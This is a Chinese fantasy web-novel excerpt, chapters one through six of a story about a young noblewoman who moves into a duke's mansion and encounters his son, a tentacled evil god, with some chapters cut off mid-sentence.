《[人外]她与邪神》 1. 第一章 《[人外]她与邪神》全本免费阅读 “小姐,小姐?夫人让我唤您起床。” 清晨,第一缕阳光穿过窗帘的缝隙,闯入玛莲娜的卧室。 敲门声节奏分明,连续而急切。女仆的声音虽然恭敬,却透露出一丝紧张。 玛莲娜猛地睁开双眼。 “现在还是太早了,”玛莲娜提高音量,告诉女仆,“烦请你告诉母亲,我昨夜看书到深夜,还想再多睡一会儿。” “小姐,今日有贵客光顾府邸。夫人特别嘱托,请您务必在九点前出现于会客厅。” 贵客?突然光顾,而非提前通知主人,实在是对尊重之道的极度漠视。 玛莲娜眉头微蹙,从床上坐了起来。 “小姐?小姐?”女仆再一次叩门。 “知道了,不用催我,我已经起来了。” 她压下心中的不耐,踩着拖鞋走到窗前,用力拉开了帘帐。 一名女仆端来清水,为玛莲娜清理脸部。另一名女仆手持贝壳梳子,为她设计发型。 宝石点缀的银网将黑如夜色的卷发牢牢固定住,束缚了每一缕发丝。 玛莲娜对这种难受的发型很不满意。趁女仆转身拿取项链之际,她伸手从头顶扯出一束头发,任其垂落于脸庞。 接下来,两名女仆共同为她套上了绣有太阳图案的红色绸裙。 在片大陆,太阳被视为至高无上的信仰核心,其信徒热诚地追随着光明教会。 他们遵循教会之命,穷追不舍地捕捉异教徒,将无数人绑在火刑架上处死。 不得不说,她今天这身打扮非常符合光明教会的审美。 “我看上去就像是一根烧焦的火柴。” 玛莲娜面对着镜子,对自己进行了一番辛辣的点评。 女仆们相视一笑:“不,您很美丽。穿上这身衣服,您就像太阳的儿女。” “是啊,夫人为您挑选的裙子可真合适!” “太阳的儿女......” 世人对太阳的崇拜堪称疯狂,而她却一直对这样的热情感到不解。 今天,母亲特意让她穿成这样,难道是要带她面见光明教会的人? ------------------------------------- 在一队骑士的簇拥下,一名男子昂首阔步,走进了子爵的府邸。 他身披金红铠甲,带着一把红宝石佩剑。金色胸甲之上,是繁复的太阳纹饰浮雕,彰显着日炎骑士的身份。 日炎骑士团是教会的武装力量,负责抹除异端,维护神圣的权威。 子爵夫人多萝西娅·索利亚亲自迈出会客厅的大门,以恭敬的姿态欢迎教会的访客。 “欢迎您,尤斯爵士!您的到来令我深感荣幸。” 玛莲娜站在母亲身边,举止得体,笑容合度:“很高兴见到您,尤斯爵士。” 尤斯爵士摘下华美的头盔。 他托起多萝西娅夫人的左手,俯身亲吻:“夫人,我同样十分荣幸。主教让我代替他向您问好。” 尤斯爵士效忠于帝国南部边境的新任主教。 “那么,这位便是玛莲娜小姐?”他侧过头,打量起黑发乌眸的年轻姑娘。 “正是,”多萝西娅夫人点头,“她就是我的女儿。” 尤斯爵士颇有兴致地观察着玛莲娜的打扮:“这身衣服——” “光明修女候选人的裙装。”多萝西娅的笑容中带着些许暗示。 尤斯爵士敏锐地捕捉到了对方的意思。 “您想让您的女儿成为光明修女?” 光明修女在教会中享有较高的地位,由贵族女子担任。 尤斯爵士面露难色:“恕我不能在这件事上帮忙。对于光明修女来说,出身必须毫无瑕疵。可惜,玛莲娜小姐没有父亲......唉!” 众所周知,玛莲娜是子爵夫人多萝西娅的独女,却不是子爵的亲生女儿。 十六年前,多萝西娅以平民之身,带着襁褓之中的玛莲娜嫁给了子爵。 新婚头一年,无儿无女的子爵去世,多萝西娅美美地继承了丈夫的遗产。 多萝西娅叹气:“确实可惜,我还给您准备了很多礼物。如果此事能成,该有多好啊。” 尤斯爵士咳嗽了一声:“好了,是时候与您谈论正事了。” “把人带上来吧。”他向手下骑士示意。 “是,尤斯大人!” 四名日炎骑士扛着一座制作粗糙的火刑架,稳步走进了会客厅。 他们的面容掩藏在金红头盔的阴影之下,无端给人森然之感。 铁质甲胄摩擦碰撞,宛如擂鼓。 骑士们将火刑架竖立于大厅正中央。圆木柱由于火焰的炙烤,早已变得漆黑。 火刑架上似乎绑着什么。 焦糊的味道就像染料溶于水那样,快速扩散,钻入室内每一处缝隙。 玛莲娜心中升起不祥的预感。 “别看。” 多萝西娅表情僵硬,仍不忘低声提醒女儿。 玛莲娜没有控制住内心的好奇,向火刑架投去一瞥,顿时脊背发凉。不适与恶心如潮水般汹涌而来。 一具焦黑的尸体被铁丝捆绑在粗木之上,边缘因碳化而碎裂。 在骑士们刚才走过的地砖表面,黑灰的遗骸残渣铺就一条显眼的轨迹。 尤斯爵士饶有兴致地观察起母女二人的神情变化。 玛莲娜察觉到他不善的眼神,不愿让他得意,便强行忍住呕吐的冲动,故作平静。 见女孩没有惊叫出声,尤斯爵士有些扫兴。 多萝西娅夫人的脸色不太好看:“尤斯爵士,您作为宾客,用这具尸体冒犯我,究竟是何意?” “我们在您的领地发现了这个异教徒,代为处决。您还未洗清包庇的嫌疑,就反过来质问我,又是什么道理呢?”尤斯爵士脱去了客气的伪装。 二十年前,一个狂妄的异教徒杀死数十名大主教,攻破了教皇的主神殿。 幸好教皇及时降下神威,才阻止了浩劫的发生。 此后,教会加大了清算力度,将每一个有嫌疑的人当成异端处决。包庇异端者被视为从犯,也难逃一死。 “我可以直接向主教汇报,您在封地窝藏了这个异教徒。”尤斯爵士的态度十分强势。 这句话几乎等同于公开的恐吓。 多萝西娅反问:“您有什么证据证明,这具尸体确实来自异教徒?” 火刑柱上的尸体黑如焦炭,甚至碎裂了些许。 事实上,骑士们根本无法证明此人的身份。 尤斯爵士拔出佩剑,手指并拢,从上至下拭过剑身。 “即便如此,您也难辞其咎。” 一缕又一缕耀眼的火焰自他指尖迸发,最终汇聚成一整片,顷刻间点燃了整把佩剑。 这是一种伤害型祷术,名为“审判之火”,仅供教会成员学习和掌握。 据说,剑身上缠绕的火焰可以净化罪恶。 多萝西娅怒而质问:“我并未犯下过错,您也要对我施以审判之火么?” “我只是想带您去见主教大人而已,”尤斯爵士笑着告诉她,“至于您要承担多少罪责,还需主教大人亲自定夺。” 玛莲娜顿时明白了对方的意图。 那具焦尸是否为异教徒,其实并不重要。一切解释权,都属于教会。 教会成员通过种种手段勒索势单力薄的小贵族,实在不是什么新鲜事。 想要脱身,就得付出一些财产上的代价。 这些圣职人员,真是过于猖狂了。 玛莲娜克制住心中的怒意,摆出友好的微笑:“其实,我母亲根本没必要跟您去见主教。尊敬的爵士大人,您看中了哪块地,不妨明说。” 她试图替母亲缓解眼前的危机。 尤斯爵士面露欣慰:“唉,你这个孩子,真的很懂事啊。” 多萝西娅将女儿拉至身后,尽力让语气变得平缓:“河谷西北部的那座银矿,您觉得如何?” 言下之意,她打算接受教会的勒索,用金钱与土地换取平安。 “不够啊,”尤斯爵士不太满意,“我听说,您名下还有一处银矿。” 多萝西娅冷静问道:“您知道亚兰公爵么?若是他知道您勒索我,一定不会高兴。” 听到亚兰公爵的名号时,尤斯爵士的脸色不太好看。不过,他很快掩饰了刚才的失态。 “亚兰公爵远在北方,怎么可能管这里的事?您跟公爵是什么关系?他怎么可能为您出头?交不出两座银矿,我就把您带去主教那里审问。” 多萝西娅微笑道:“您不妨猜一猜,我与亚兰公爵到底是什么关系?不过,我也得提醒您——对我动手,后果自负。我最多给你们一座银矿。” 尤斯爵士冷哼了一声,终究还是选择见好就收。 “那么,就让我们在太阳的见证下,签订协议。” 长剑入鞘,代表他同意多萝西娅的条件。 为了制定神圣不可侵犯的契约,他念出一串祷词,呼唤太阳的化身。 金色的线条耀眼无比,化成太阳的形状,高悬于爵士与多萝西娅头顶,象征着无上的光明法则。 多萝西娅跪在地砖之上,声音颤抖:“伟大的太阳,您的光芒照亮大地,您的力量无所不在。” “我,多萝西娅·索利亚同意签 2. 第二章 《[人外]她与邪神》全本免费阅读 车轮的滚动声宛如一支急促的奏鸣曲,在玛莲娜耳畔响了整整十五天。 多萝西娅的车队行进迅速,凭借公爵的邀请函在帝国官方驿站过夜,全程未曾遭遇任何困扰或危险。 马车穿过星罗棋布的城市与村镇,最终到达了公爵领地的主城阿斯特隆。 阿斯特隆坐落在水草丰美的平原之上,拥有坚固而美观的城墙。 “玛莲娜,别在马车上看书,对眼睛不好。” “好吧。” 玛莲娜合上书本,撩起马车的布帘,开始观察周围的环境。 街道宽阔且干净,民居井井有条,连店铺门窗也装饰着漂亮的雕花和绚丽的彩绘。 相比之下,子爵的领地简直称得上是穷乡僻壤。 “晚上面见公爵,有没有什么需要我注意的地方?”玛莲娜主动问母亲。 多萝西娅没有回答她,而是靠着车壁,凝望另一侧的窗外景色,似乎正在出神。 “妈妈?” “噢,按照正常的礼仪就可以了。”多萝西娅回过神。 “好的。” 玛莲娜调整着表情,在脑海中反复排练问好的场景。 太阳落山之后,马车终于抵达了公爵府。 府邸的正门堪称巨大,左右两处各竖着一尊精美的雕像。 一座座塔楼高耸,仿佛与天空相连。塔楼外部的线条错落有致,极为繁复。 公爵府主建筑规模庞大,一眼望不到边际。它的外部洁白而典雅,数不尽的石像和浮雕描绘着古老家族的传说。 马车驶入府邸,在宽阔的台阶前缓缓停下。 公爵的仆从来到车前,负责迎接客人。 玛莲娜谢绝仆从的搀扶,自行跳下了马车。 好漂亮的建筑啊。 她抬头望向威严美丽的府邸,在心中默默赞叹。 如果她能拥有这样华丽的宅邸,想必会幸福无比。遗憾的是,这里不属于她,而是属于亚兰公爵。 “夫人,欢迎来到公爵府邸。我是管家罗德。” 说话之人是一名身材瘦削的中年男子。 管家显然早就收到了母女二人拜访的消息,一直在正门台阶处等待。 他对待多萝西娅的态度很是恭敬:“公爵大人这两日协助皇帝处理事务,仍住在皇城,无法与您见面,还请见谅。” “无妨,”多萝西娅微笑道,“那就等弗雷德里克回来再说。” 弗雷德里克·亚兰是公爵的名字。 玛莲娜震惊地望向母亲。 她到底错过了什么消息或者秘辛?为什么妈妈身为子爵夫人,能直呼公爵的名字? 她又转头看向管家。 希望他不要在意妈妈的失礼行为。 然而,让玛莲娜更加惊诧的是,管家并未觉得多萝西娅失礼。 他仍然保持着恭敬的姿态:“那么,就由我带领二位前往住处。子爵夫人的房间与公爵大人的房间位于同一层。玛莲娜小姐的房间稍微远一点,需要从另外一个地方上楼。” 玛莲娜跟在管家身后,瞪大了眼睛,通过口型无声地向母亲询问:“这到底是怎么回事?” 母亲做了个手势,示意她放宽心。 紧接着,多萝西娅对管家下达了命令:“弗雷德里克应该为我的女儿安排了独立房间吧?你帮玛莲娜带一下路,谢谢。” “那么,玛莲娜,好好休息,明天见。” “晚安,妈妈。” “晚安,亲爱的宝贝。” 多萝西娅夫人命两位仆从推开正门,走进了建筑。 玛莲娜的思维迅速运转。 妈妈的行为有些不符合客人的身份。就好像......她不是子爵夫人,而是公爵府的女主人。 玛莲娜的心情十分微妙,甚至感觉到了些许热血。 母亲认识公爵府的管家。 母亲似乎与亚兰公爵很熟。 玛莲娜心中立刻升起诸多猜测。 难道,她的母亲有什么了不得的隐藏身份,迫于某些原因,才隐姓埋名,住在穷乡僻壤? 等一等,听说,当年母亲带着襁褓中的自己嫁给了子爵。 难道...... 她的亲生父亲其实是亚兰公爵?而母亲与公爵是旧情人的关系? 不可能吧,这也太戏剧了。从前,她做梦都不敢这么想。 “您的卧室就在三楼。” 管家带着她绕到主建筑西侧的另一扇大门,沿着楼梯一路向上。 此处的楼梯间极为华美,墙壁与台阶皆由墨绿色大理石打造。 纯金的浮雕宛如自由的海浪,在扶手、墙面与天花板之间穿梭奔腾。 楼梯间首层和二层墙壁上嵌挂着八幅描绘自然风光的画作。二楼与三楼之间,六幅油画描绘着具体的植物或动物。 玛莲娜跟随管家登上了楼梯。 一条深绿长廊映入眼帘。 从一进门到现在,到处都是墨绿色。 绿,当然可以象征自然,代表着勃勃的生机。 然而,过多的绿色与黑色交织,却让玛莲娜无端感到有些发冷。 “右侧第一间属于您。” 管家为玛莲娜推开了房间门。 这间套房的面积,起码是她从前卧室的四倍。 墨绿的墙面,带有流苏的绸制床帘,雕刻精细的 3. 第三章 《[人外]她与邪神》全本免费阅读 “唰——” 彻底看清楚此人的长相之后,她只觉得脊背发凉。 闯入视野的,是一张没有五官的脸。 房间无数面镜子都反射出那张空白的脸,将玛莲娜包围。 一阵冷风贯入房间,灯上的水晶吊坠左右摇晃,搅乱了室内的光影。 玛莲娜闭上眼睛,强迫自己不去看那些镜子。 她快速拉动绳子,降下了挂毯。 可是,一旦光亮不再,那张缺少五官的面孔反而在她脑海中愈发清晰。 估摸着挂毯完全遮住油画,她立刻睁开眼睛,望向挂毯中的太阳。 她试图让恼人的太阳占据脑海,冲掉那张诡异的空白面庞。 “咚,咚,咚。”三道敲门声突兀地响起。 玛莲娜激灵一下,猛地望向卧室门。 “是谁?”她声音艰涩。 “咚咚咚咚咚咚咚咚!” “咚咚咚咚咚咚咚咚咚咚咚咚!” 门外之人好像没有听见她的提问,加快了敲门的频率。 “谁在敲门?” 玛莲娜提高了音量。 “是我,管家罗德。请问,您现在需要用餐吗?” 她舒了一口气。此时此刻,陌生人的熟悉声线令她感到心安。 “请进。” 木门被人推开,管家带着一名侍女走进了房间。 侍女将推车上的金色餐盘依次摆放到桌案之上,又布置了一番餐具。 “墨鱼汁面条佐香煎云鱼配芦笋与蒜味奶油,请您慢用!” 玛莲娜假笑着点头,摆出一副期待的样子。 管家感受到一阵凉风,立刻走到窗前。 “抱歉,忘记为您关窗户了。” 路过挂毯的时候,管家蓦地停住了脚步:“您看过那幅肖像画了,对么?” 此时,玛莲娜无法观察管家的神情。因为对方仍然面对着挂毯,未曾转头看向她。 她根本不知道,这个家伙是通过哪一处细节才得出的判断。 管家的问题,让她很不舒服。 她不是犯人,下决定前不需要向别人请示。 看一眼油画怎么了?又不会弄坏任何东西。 而且,一副没有画完的肖像,有什么好宝贝的? 管家突然问她这个问题,究竟是什么意思?兴师问罪么? 玛莲娜微微坐直了身子,冷静应对道:“我有一点好奇,就把挂毯拉上去了。难道,我不能看那幅画么?” “不不不,您当然可以观赏它。您有没有觉得,那幅画比挂毯美丽许多?特别是画中的那个人,真是太美了!”管家赞叹道。 呃,不觉得。没有五官的脸,美在哪里? 真是烦人啊,本来,她想彻底忘记那张脸的。经管家提醒,她又想起它了! 玛莲娜委婉表达了意见:“如果能给画中人添上五官,那该多好啊。” 管家忽然激动了起来:“若是添上五官,那才是真的毁了这幅画!任何人都不配用画笔玷污他的美丽!” “真是抱歉,我刚才很是失礼。请您原谅,小姐。”下一秒,管家意识到了自己的失言,立刻恢复了客气的态度。 玛莲娜试探道:“画中之人究竟是谁?我也觉得他很美,所以有点好奇呢。” 管家无法克制语气中的崇拜:“他就是我们的少爷,公爵大人的唯一继承人,希瑟尔·亚兰。” 原来是人啊,还是公爵的儿子,那就没什么可怕的了。 一幅半成品画作而已,根本没有任何诡异之处,不值得她耗费精力多想。 “谢谢,你可以回去休息了。如果有事,我会摇铃叫人。” 玛莲娜成功打发了管家。 她心情愉悦,拿起刀叉进食。 ------------------------------------- 这一夜,玛莲娜没有做梦,睡得还算安慰。 在房间配套的盥洗室洗漱完毕,她打开了衣橱。 目光所及,每件衣物皆尺寸合宜,仿佛专为她量身定做。她挑选了一件款式雅致的珍珠色长裙,自行换上了。 过了没多久,侍女为她送来了早餐。 “请问,我的母亲住在哪一间房?我想去找她。”饭后,玛莲娜问一名侍女。 “您问的是那位子爵夫人?她在花园中用餐。” “是的,能否麻烦你带我去找她?” 侍女慢吞吞回应道:“花园太大了,我并不知道夫人的具体位置。” 作为一名私生女,玛莲娜自幼便在旁人的窃窃私语中长大,这让她对他人的态度很是敏感。 她知道,侍女对她有些不耐烦。 “请你帮我带路,谢谢,”她维持着礼节与风度,嘴里说的却是威胁之言,“或者,我去找管家,请他亲自为我带路。” “是。”侍女脸色不太好看,到底还是没有违背玛莲娜的要求。 4. 第四章 《[人外]她与邪神》全本免费阅读 对方发现了她。 玛莲娜脚尖一松,使得整个身子完完全全被绿篱遮挡。 等一下,此时躲起来,倒像是她做错了什么一样。 既然没有人在凉亭周边设立界限,明确禁止旁人靠近,她稍微观望一番亭内景象,自然不会构成任何冒犯。 她又没有做什么见不得人的事,为何要心虚? 亭中人的长发宛如流淌的月色,让玛莲娜想到了昨日见过的那幅油画。 先前,管家曾经热情地赞扬过公爵之子的容颜。亭中之人长得这么漂亮,莫非就是那位希瑟尔·亚兰少爷? 出于礼貌,她应该走出去,问候一下公爵府的年轻主人。 想到此处,玛莲娜迈开步伐,穿过绿色的篱墙,走至圆顶凉亭前的台阶。 “您好,我是玛莲娜,昨日才抵达这里,却不慎迷路。非常抱歉打扰您休息,我马上离开。” 目光交汇时,她保持着一种恰到好处的谦和,大方地直视亭中之人的眼睛。 公爵之子拥有一双浅淡的灰紫色眼睛,犹如蒙上雾霭的水晶,又似薄云背后的夜空,给她一种飘渺而神秘的独特感觉。 希瑟尔的视线锁定在她的面庞之上,连一次轻微的眨眼都没有。 就在这时,他肩上的一排鸟雀同时张开羽翼,扑腾着飞向天空。 趴伏在他腿边的几头小鹿也忽然起身,撒蹄离开凉亭,跑向林子深处。 四周无风,树叶停止了摇动,一切静得出奇。 “走。” 片刻之后,公爵之子才开口说话。 他的声音,让她想到林间轻风掠过铃兰,花瓣相触——这大概是一种只存在于想象中的悦耳之声。 玛莲娜对于“走”一词的含义不太确定:“您想让我离开此处么?” 希瑟尔始终盯着她的双眼。 “离开。” 毫无起伏的声音再次传入她的耳朵。 哦,确实是让她离开的意思。 多蹦出一个词,对他来说很难吗? 玛莲娜彻底领悟了这一句驱赶之言,立即在心中抹去对他的好印象。 看他身边有那么多动物环绕,她还以为,他对待人与动物都很亲和。 然而,他一开口就是赶她走,直截了当,连一声“请”也没有说。 遭到傲慢无礼的对待,玛莲娜有一些不悦。 不过,毕竟是她打扰他在先,还吓跑了他的动物,本来就不占理。更何况,他还是公爵的继承人。 现在的她寄人篱下,少惹麻烦才是明智的选择。 “抱歉,吓跑了这些动物,打扰到您休息,是我的不对。” 玛莲娜礼数周全,丝毫没有表露内心的不爽。向对方告别之后,她才离开凉亭。 她根本没有察觉到,在自己转身离去的瞬间,数根原本直指她后颈、足以夺命的猩红触腕已无声地缩回,速度远超人类的认知。 - 希瑟尔的视线离开了她的背影。 刚才,这个人接近亭子的时候,他就已经嗅到了陌生的气息。 又是一个善于伪装情绪的人类。 弱小的人类惯会掩饰内心的想法,摆出千篇一律的笑脸。 其中的理由纷繁复杂,让他无法理解。 他也不准备理解。 无论这个人类出于何种原因伪装自己,皆不会对他造成威胁。 他本来想要像控制那群动物一样,将她暂时变为没有自主意识的眷属,让她遵照他的意志离开。 但是,他失败了。 这个人类身上有一些特别之处......即便如此,也无法改变她与生俱来的弱小。 他当然可以直接抹杀这个不受控的因素,但实在没有什么必要。 人类的生命十分短暂。即便他不出手,她也会出于其他原因,在短时间内死去。 ------------------------------------- 玛莲娜将不快的经历暂且搁下,远离了凉亭。 当她再次经过花坛时,被一名年轻的园丁叫住了。 “小姐,您在找谁么?或许,我能帮得上忙。” “你好,我在找多萝西娅·索利亚子爵夫人,”对待下人,玛莲娜很有礼貌,“如果你知道她在哪里,能否告诉我?” “我早晨看到子爵夫人朝着迷宫的北边去了,我可以带您过去。”园丁很是热心。 她跟着园丁走了很久,在花园迷宫的外围穿行,最终到达一座被玫瑰环绕着的青铜亭子。 多萝西娅正坐在亭中看书,见女儿来了,连忙抬手招呼她坐下。 “真是太谢谢你了,你叫什么名字?”玛莲娜问园丁。 “我叫佩特。您实在不用对我如此客气,我只是一个不起眼的佣人而已!” “玛莲娜。”多萝西娅往女儿手里塞了一块金币,作为暗示。 玛莲娜心领神会,微笑着将金币送给佩特,无视对方惶恐的推拒。 园丁十分激动,连连向母女二人鞠躬。 园丁走后,多萝西娅问女儿:“我先前让人去喊你。你怎么现在才过来?” 玛莲娜蹙眉:“实际上,我根本没有遇到传话的仆从。若不是我自己打听,也不会知道你在这里。” 多萝西娅面色转冷:“我出身平民,最多只是一个子爵夫人。仆从对你我二人不尽心,倒也不意外。” 玛莲娜坐直了身子:“再怎么说,我们也是客人。” “客人?远远不止。” 母亲轻笑了一声,优雅地端起茶杯。 玛莲娜心有所感,压低了声音:“妈妈,我早就想问你,你和公爵到底是什么关系?” “他是我旧日的情人,”多萝西娅云淡风轻地抿了一口茶,“因为某个原因,我与他分开了十余年。现在,我应他的邀请,带着女儿回来找他了。” 尽管已经猜到了事实,但听到妈妈亲自承认这一点,玛莲娜的心情十分微妙。 她不会真的是妈妈和公爵的女儿吧?不可能吧? “那么,我的父 5. 第五章 《[人外]她与邪神》全本免费阅读 第二日,原本照料玛莲娜的侍女被管家撤换。负责她起居的侍女从一名增添为三名,分别是蒂茜、蒂拉与朵莉。 蒂茜与蒂拉都来自子爵领地,以前就一直服侍她。而朵莉是公爵府的女仆,勤快干练。 这次人手调换一定是母亲多萝西娅的手笔。 玛莲娜心情舒畅,让朵莉带着她参观公爵府。 两人来到了主建筑二楼。 “小姐,这里是公爵的主会客厅。” 金色与白色是这里的主导色调,险些晃花玛莲娜的双眼。深红天鹅绒掩着拱形的窗户,有效地阻挡了阳光,用以避免室内温度过分升高。 两幅巨大的肖像画位于厅堂最显眼之处。 左边画作的主角是一位衣着华贵的女人。她坐在一棵树下,面部有些朦胧,仿佛笼罩着一层轻纱。右边的油画笔触精湛,是一位英俊男人的肖像。 “右边画的是公爵大人。”女仆朵莉介绍道。 玛莲娜问她:“左边,是故去的公爵夫人么?” 公爵夫人应该就是希瑟尔·亚兰的母亲,哈莫妮亚。 如果希瑟尔待人冷淡是因为年幼丧母,她倒是可以理解。 朵莉点头:“正是。您或许听说过一则有关公爵夫人的故事?” “故事?不妨说来给我听听。”玛莲娜有些好奇。 “结婚之后,公爵夫人没有孩子。” “然后呢?” 朵莉背对着玛莲娜,双眼紧盯画中的女人,整个人陷入了一种诡异的恍惚状态:“她常常祈祷,希望能得到一个孩子。夫人划破了手指,在雪地上留下了血迹。” 她的语速越来越快:“她常常许愿,希望将来的孩子能像鲜血一样瑰丽,像白雪一样无瑕。噢!那男孩如她所愿,拥有血的瑰丽,雪的无瑕,多么伟大的奇迹!而她,可怜的夫人,却永远闭上了双眼。她死了,她得偿所愿!......她死了,她得偿所愿!” 朵莉的声音越发尖锐,她手指开始抽搐,呼吸也变得急促而困难:“她死了!她得偿所愿!她不甘如此!她得偿所愿!她不甘如此!她不甘如此!她死了死了死了死了!” 玛莲娜觉得侍女的状态很不对劲。她是突然疯了,还是生病了?听说,某些疾病能引起手脚痉挛和呼吸困难。 她扶住对方的肩膀,高声唤她:“朵莉!朵莉!” 朵莉像是突然被人从水底拉了上来,捂住胸口,总算缓过了气:“抱,抱歉,小姐。我刚刚说了什么?” 侍女眼中满是困惑。 “你刚才突发疾病,幸好没什么大碍,”玛莲娜叹息一声,“今天辛苦你了,我会让管家帮你请医生看病。如果你缺钱,我可以资助你。” 朵莉鼻子一酸:“谢谢您,小姐。我不值得您这样对待!” 玛莲娜语气温和,面带愧疚,真诚地望着侍女的眼睛:“朵莉,你刚才陪我走了那么多路,希望没有耽误你的病情。总之,我祝愿你能康复。” 朵莉受宠若惊,嘴唇轻颤,很是不知所措:“小姐啊,您真是太好了。我该怎么报答您?” 玛莲娜将朵莉送到管家身边,说明了情况。 “真是抱歉,我也是才知道朵莉生病了。”管家忧心忡忡。 玛莲娜强调:“请你千万不要怪罪朵莉。” 接下来,她带着子爵府的两名侍女到处转悠,甚至还爬上了西边的塔楼。 “我还以为塔楼里藏了什么宝贝。没想到,塔顶只有空荡荡的露台?” 登顶之后,玛莲娜有点后悔。 “至少,这里风景很不错。您看那边,有一处迷宫呢。”侍女蒂茜安慰她。 蒂拉灵机一动:“小姐,我们要不要去迷宫那里玩?” 玛莲娜将整片绿植迷宫尽收眼底。片刻之后,她记住了迷宫的完整结构。 她笑着提议:“好啊。迷宫总共有四个入口,终点是中央的白色亭子。我们分别从不同入口进去,看谁能先到达终点。” 侍女们当然表示大力赞同。 三人走下塔楼,赶往迷宫,又分别从三个入口出发,寻找终点。 玛莲娜早就背下了迷宫路径,在没有踏入死路的情况下,很快到达了目的地。 凉亭矗立在这个错综复杂的迷宫的中心,被一人高的绿色灌木丛簇拥着,与世隔绝。 刚爬完楼没多久,她感到有些疲惫。如果能在亭子里歇脚,享受阴凉,再好不过。 玛莲娜朝亭子走去。 她的目光穿过大理石柱,直达亭子内部。 银金色长发,挺拔完美的身姿,熟悉的背影。 脚步顿住,玛莲娜面无表情。 她看到了希瑟尔·亚兰。 怎么又碰到他了?昨天,她也是想找个亭子歇一歇,才贸然打扰到了他,惹得双方都不太愉快。 现在,她是真的很累,比昨天还累。而且,太阳有些晒。 她很想在亭子里乘凉。 可就在昨天,希瑟尔命她远离自己。由此可见,他反感她。 这里本来就是公爵府,他才是主人。他不喜欢生人靠近,她理应回避。 虽然她可以返回迷宫,寻个长椅坐下,可这里明明有亭子,她为什么要委屈自己再走一段路呢? 而且,他身为公爵的正统继承人,是她未来的竞争者。 面对她的进犯,他会作何反应?她可以抓住这次机会试探他的反应,摸清楚他的底细。 想到此处,玛莲娜不打算退避,而是提起裙摆,走进了亭子。 几乎是转瞬之间,他的目光紧紧锁定在她的脸上。 感受到对方的视线,她故意摆出无可挑剔的微笑,向他问好:“日安,希瑟尔大人。” 话音刚落,她未经他同意,直接坐在了他的对面。 希瑟尔并未回以问候,而是始终盯着玛莲娜的面部,形状优美的唇微微张开。 从玛莲娜的角度来看,公爵之子的表情是木然而凝滞的,就像是被她的放肆行为震撼到了,以至于一时间无法言语。 呃,以一个正常人的反应,面对她的挑衅,要么是与她周旋,要么是表明态度。 希瑟尔摆出这副模样,再加上漂亮的皮囊,宛如一具呆愣的精致木偶。 他甚至一直张着嘴! 经过一番短暂的揣摩分析,她恍然大悟——自幼丧母,再加上父亲忙于政务、仆人照顾不尽心,希瑟尔出现一些性格上的问题实属正常。 此时此刻,一股可耻的侥幸从心底升起。 她虽然从小就没有父亲,却是在母亲的关爱中长大的。 这股侥幸转化成一种优越感,又在道德观的作用下,被强行拧成了微妙的怜悯。 就这样,玛莲娜略带同情地望着那双美丽的灰紫色眼眸,轻叹了一声。 她并没有察觉,就在她的身后,猩红色腕足的数量正在急剧增多,宛如怒放的巨型睡莲。 如果细细观察,会发现这些腕足的表面干燥而光滑,覆盖着类似鳞片的结构。 然而,个别区域由于鳞甲脱落,呈现出淡淡的粉色,这表明触足的主人目前正在经历换鳞期。 换鳞期带来的能量消耗激发了希瑟尔的饥饿感。吞食的欲望不断蔓延,拉扯着他的注意力。 这个人类又来打扰他。 他应该吃了她。 可惜她太弱了,根本无法为他提供任何能量,甚至不如光明教会里最低等的教士。 人类这个物种,本来就称不上美味,远不及他的同类可口。 眼前的这个女人对于他来说,就如同人类餐桌上的骨头残渣。 就连人类都知道,骨头是专门用来喂猫狗的。他当然不会自降身份,吃下眼前的“骨头残渣”。 此时 6. 第六章 《[人外]她与邪神》全本免费阅读 当天深夜,公爵弗雷德里克·亚兰带领车队,回到了阿斯特隆。 管家站在大门前迎接他。 “弗雷德里克大人,欢迎归来。子爵夫人说,她很想您,所以决定在公爵府长住。” 公爵面上掠过一丝怀念:“多萝西娅还像从前那样么?” “岁月总是优待美人,”管家笑容满面,“夫人还像十六年前那样美丽。” 公爵感叹:“看来,只有遇到困境,她才会心甘情愿回到我身边啊。” 管家继续报告近况:“南部边境新上任的主教派来使者,向您传话,表示随时愿意向多萝西娅夫人归还银矿。” “区区一座银矿而已,让主教自己留着就行了,也算是帮我办事的报酬。”公爵摩挲着左手食指的戒指,不以为然。 “还有,派人去通知夏尼克亲王,他打赌输了。多萝西娅接受了我的邀请。” “是,一切都遵照您的意愿。” 公爵按住了戒指上的宝石,压低了声音:“还有那位......最近不再沉睡,应该也饿了吧?我带来了一些‘客人’。” 管家眼中的狂热转瞬即逝:“我明白您的意思。” 车队后方,是十名神职人员乘坐的马车。这十人在管家与公爵的引领下,朝花园的方向走去。 “我们今天要睡在花园里么?公爵大人究竟是何意?不是说好了,要请我们喝酒的么?”一名日炎骑士表达了内心的疑惑。 另一名教士打趣道:“说不定,花园里有美酒与美人等着我们享用呢。” 其他几个骑士哈哈大笑。 “怎么还要走迷宫?公爵大人真是有情趣啊。” “这是为了保证隐蔽性,毕竟,教会禁止圣职人员过分享乐,”管家微笑着解释道,“各位不必着急,马上就到了。” 迷宫中央,是一座大理石凉亭。 教士与日炎骑士们面面相觑:“公爵大人,您是认真的么?亭子这么小,我们有这么多人,根本坐不下啊。” 亚兰公爵没有回答,而是掀开座位上的坐垫,扳动了机关。 深沉的响声盖过了夜晚的虫鸣,令周遭的空气开始振动。 机关吱呀作响,整座亭子缓缓往左侧移动,向众人展露隐秘的地窖入口。 “原来如此。这底下肯定有什么不方便示人的好东西!”圣职人员恍然大悟。 公爵态度温和:“诸位大人,请跟我来。小心楼梯。” 教士与骑士们跃跃欲试,一个接一个走进了地窖。 他们催动祷术,在指尖燃起火苗,作为照明。 凌乱的脚步声在黑暗的空间回荡,众人这才意识到地窖的宽敞。 “什么东西!啊——” 一道惨叫声被黑暗吞没,令所有圣职者身躯震颤。 “马特不见了!” “不好,这里有古怪。” 日炎骑士立刻念诵祷词,摆好战斗的架势,合作发动祷术。 九道金色光焰聚成一团太阳般的火球,高悬于众人头顶,光芒耀眼。 “伟大的太阳啊,请赐予我们力量!” 还未等光明驱散黑暗,一条猩红触足不知从何处伸出,以惊人的速度裹住金色的火球,轻而易举地捏碎了众人的希望。 “啊!” 不幸的猎物还没有看清捕猎者的样貌,就被拖入无光的深渊。 太阳的忠诚信徒一个接一个地消失,连盔甲的残片都没有留下。 管家跪在潮湿粘腻的地砖之上,任凭陌生人的鲜血洒满全身。他痴迷地望向黑暗的深处,口中呢喃着无序的赞颂。 凄厉的惨叫声不绝于耳,地窖中弥漫着血腥的气息。 地窖中重新恢复了寂静,好像一切都从未发生。 公爵不安地攥紧了戒指上的宝石,脸色苍白。 “您现在还饿么?”他极力维持语调的平稳。 